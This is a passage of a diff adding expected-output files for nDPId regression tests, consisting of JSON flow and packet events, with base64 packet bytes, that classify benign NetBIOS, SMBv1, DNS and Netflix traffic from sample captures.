+00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":107,"source":"netbios.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1447772234353,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.1","dst_ip":"10.0.4.24","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"netbios.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1447772235481,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.93","dst_ip":"10.0.5.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00674{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772235,"pkt_ts_usec":481236,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/ADBIsLGmCABFAADlboAAAIARrCwKAAVdCgAF\/wCKAIoA0eR9EQ7pCQoABV0AigC7AAAgRUNFUEZIRUpFRkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZHRUpFSEVKRU1FQkVPRkVGUEVIRkNFUEZGRkFDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAOgDAAAAAAAAAAAhAFYAAwABAAAAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQCA\/AoAQk9XSUUAAAAAAAAAAAAAAAYBBxABAA8BVaoA"} +00548{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":113,"source":"netbios.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1447772235481,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.93","dst_ip":"10.0.5.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":128,"source":"netbios.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1447772238479,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.233","dst_ip":"10.0.4.24","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772238,"pkt_ts_usec":479125,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ABzEEHkPAOCBt8asCABFAABOD1sAAIARDUQKAAXpCgAEGACJAIkAOgf\/mi8AAAABAAAAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAE="} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":128,"source":"netbios.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1447772238479,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.233","dst_ip":"10.0.4.24","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00633{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772238,"pkt_ts_usec":479218,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"AOCBt8asABzEEHkPCABFAADLWT8AAIARwuIKAAQYCgAF6QCJAIkAt\/eSmi+EAAAAAAEAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAEAAAAAAHcER1VOTkFSICAgICAgICAgAAQAVklHSUxBTlRfR1JPVVAgAIQAR1VOTkFSICAgICAgICAgIAQAVklHSUxBTlRfR1JPVVAgHoQAABzEEHkPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":132,"source":"netbios.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1447772238721,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.14","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772238,"pkt_ts_usec":721634,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/EGBLoLzrCABFAABOP6wAAIAR3OYKAAQOCgAF\/wCJAIkAOtzbuxABEAABAAAAAAAAIEVIRkZGQ0ZGQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":132,"source":"netbios.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1447772238721,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.14","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"netbios.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1447772239929,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.101","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772239,"pkt_ts_usec":929129,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBdSQGCABFAABOZPwAAIARtz8KAARlCgAF\/wCJAIkAOvRglzYBEAABAAAAAAAAIEVPRkdGQ0RKQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00502{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":137,"source":"netbios.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1447772239929,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.101","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":140,"source":"netbios.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1447772239929,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.101","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":140,"source":"netbios.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1447772234353,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.1","dst_ip":"10.0.4.24","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":140,"source":"netbios.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1447772238721,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.14","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":140,"source":"netbios.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1447772234353,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.24","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":140,"source":"netbios.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1447772235481,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.93","dst_ip":"10.0.5.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772248,"pkt_ts_usec":480903,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ABzEEHkPAOCBt8asCABFAABORZkAAIAR1wUKAAXpCgAEGACJAIkAOgf2mjgAAAABAAAAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAE="} +00633{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772248,"pkt_ts_usec":481003,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"AOCBt8asABzEEHkPCABFAADLJDdAAIARt+oKAAQYCgAF6QCJAIkAt\/eJmjiEAAAAAAEAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAEAAAAAAHcER1VOTkFSICAgICAgICAgAAQAVklHSUxBTlRfR1JPVVAgAIQAR1VOTkFSICAgICAgICAgIAQAVklHSUxBTlRfR1JPVVAgHoQAABzEEHkPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":186,"source":"netbios.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1447772251795,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.1.87","dst_ip":"10.0.4.24","src_port":57921,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772251,"pkt_ts_usec":795162,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ABzEEHkPACFislxDCABFAABOJRwAAH8R\/RQKAAFXCgAEGOJBAIkAOqRfIKgAAAABAAAAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAE="} +00502{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":186,"source":"netbios.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1447772251795,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.1.87","dst_ip":"10.0.4.24","src_port":57921,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00632{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772251,"pkt_ts_usec":795278,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"ACFislxDABzEEHkPCABFAADLQERAAIARoG8KAAQYCgABVwCJ4kEAt5PzIKiEAAAAAAEAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAEAAAAAAHcER1VOTkFSICAgICAgICAgAAQAVklHSUxBTlRfR1JPVVAgAIQAR1VOTkFSICAgICAgICAgIAQAVklHSUxBTlRfR1JPVVAgHoQAABzEEHkPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} diff --git a/test/results/netbios_wildcard_dns_query.pcap.out b/test/results/netbios_wildcard_dns_query.pcap.out new file mode 100644 index 000000000..5ffedc693 --- /dev/null +++ b/test/results/netbios_wildcard_dns_query.pcap.out @@ -0,0 +1,3 @@ +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"netbios_wildcard_dns_query.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1597866040493,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.1.67.250","dst_ip":"10.1.66.20","src_port":41335,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"netbios_wildcard_dns_query.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1597866040,"pkt_ts_usec":493657,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"AAkPCQEKAFBWvdjVCABFAABOhIlAAEARHAYKAUP6CgFCFKF3ADUAOgSEgPAAEAABAAAAAAAAIENLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBAAAhAAE="} +00666{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"netbios_wildcard_dns_query.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1597866040493,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.1.67.250","dst_ip":"10.1.66.20","src_port":41335,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"ckaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} diff --git a/test/results/netflix.pcap.out b/test/results/netflix.pcap.out new file mode 100644 index 000000000..d8c0cf091 --- /dev/null +++ b/test/results/netflix.pcap.out @@ -0,0 +1,918 @@ +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"netflix.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1484319030789,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.24.87.6","src_port":52929,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319030,"pkt_ts_usec":789585,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0e0NAAEAGcrPAqAEHNBhXBs7BAbvkIOdkTYzTZoAREADl8AAAAQEICh9kr+C2r\/ET"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"netflix.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1484319032865,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51543,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":865799,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqoTGHM5JjWH70UCABFAABCVrgAAEARoJrAqAEHwKgBAclXADUALqX1KVYBAAABAAAAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAABAAE="} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"netflix.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1484319032865,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51543,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00442{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":866374,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqoTGHM5JjWH70UCABFAABC8wcAAEARBEvAqAEHwKgBAclXADUALjTPmmEBAAABAAAAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAAcAAE="} +00655{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3,"source":"netflix.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1484319032865,"flow_last_seen":1484319032866,"flow_tot_l4_data_len":92,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51543,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00706{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":879319,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"5JjWH70UgCqoTGHMCABFAAEF4UBAAEAR1U7AqAEBwKgBBwA1yVcA8QwWKVaBgAABAAoAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAABAAHADAAFAAEAAABvAA8DaW9zBG5jY3ADZ2VvwBXAMgAFAAEAAAFrABwDaW9zBG5jY3AJdXMtd2VzdC0yBnByb2RhYcAVwE0AAQABAAAAMgAENr8RM8BNAAEAAQAAADIABDa\/+KzATQABAAEAAAAyAAQ2ummQwE0AAQABAAAAMgAENroXx8BNAAEAAQAAADIABDaVT4rATQABAAEAAAAyAAQ2uopvwE0AAQABAAAAMgAENshkTsBNAAEAAQAAADIABDa6J1c="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"netflix.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_first_seen":1484319032865,"flow_last_seen":1484319032879,"flow_tot_l4_data_len":333,"flow_min_l4_data_len":46,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51543,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":1,"num_answers":10,"reply_code":0,"query_type":28,"rsp_type":1,"rsp_addr":"54.191.17.51"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"netflix.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1484319032882,"flow_last_seen":0,"flow_tot_l4_data_len":62,"flow_min_l4_data_len":62,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52116,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":882949,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"gCqoTGHM5JjWH70UCABFAABSBKEAAP8RM6HAqAEHwKgBAcuUADUAPjWQ0IgBAAABAAAAAAAAB2ljaG5hZWEJdXMtd2VzdC0yBnByb2RhYQduZXRmbGl4A2NvbQAAAQAB"} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"netflix.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1484319032882,"flow_last_seen":0,"flow_tot_l4_data_len":62,"flow_min_l4_data_len":62,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52116,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ichnaea.us-west-2.prodaa.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00834{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":884052,"pkt_caplen":371,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":371,"pkt_l4_len":337,"pkt":"5JjWH70UgCqoTGHMCABFAAFl4UFAAEAR1O3AqAEBwKgBBwA1yVcBUUmUmmGBgAABAAoAAAAAA2lvcwRuY2NwB25ldGZsaXgDY29tAAAcAAHADAAFAAEAAABvAA8DaW9zBG5jY3ADZ2VvwBXAMgAFAAEAAAFrABwDaW9zBG5jY3AJdXMtd2VzdC0yBnByb2RhYcAVwE0AHAABAAAACwAQJiABCHAPAAAAAAAANCn+KsBNABwAAQAAAAsAECYgAQhwDwAAAAAAADQq0NvATQAcAAEAAAALABAmIAEIcA8AAAAAAAA0KxQLwE0AHAABAAAACwAQJiABCHAPAAAAAAAANCtvPMBNABwAAQAAAAsAECYgAQhwDwAAAAAAADQpww\/ATQAcAAEAAAALABAmIAEIcA8AAAAAAAA0K1s6wE0AHAABAAAACwAQJiABCHAPAAAAAAAANCqp7MBNABwAAQAAAAsAECYgAQhwDwAAAAAAADQqzFc="} +00662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"netflix.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1484319032865,"flow_last_seen":1484319032884,"flow_tot_l4_data_len":670,"flow_min_l4_data_len":46,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":167,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51543,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ios.nccp.netflix.com","num_queries":1,"num_answers":10,"reply_code":0,"query_type":28,"rsp_type":28,"rsp_addr":"38.32.1.8"}} +00638{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":884500,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"5JjWH70UgCqoTGHMCABFAADS4UJAAEAR1X\/AqAEBwKgBBwA1y5QAvmn70IiBgAABAAgAAAAAB2ljaG5hZWEJdXMtd2VzdC0yBnByb2RhYQduZXRmbGl4A2NvbQAAAQABwAwAAQABAAAAAQAENkXM8cAMAAEAAQAAAAEABDQqmRbADAABAAEAAAABAAQ2RDCIwAwAAQABAAAAAQAENkQSPsAMAAEAAQAAAAEABDZGuZ3ADAABAAEAAAABAAQ0IoVtwAwAAQABAAAAAQAENpVZIsAMAAEAAQAAAAEABDaUWeg="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":7,"source":"netflix.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_first_seen":1484319032882,"flow_last_seen":1484319032884,"flow_tot_l4_data_len":252,"flow_min_l4_data_len":62,"flow_max_l4_data_len":190,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52116,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": 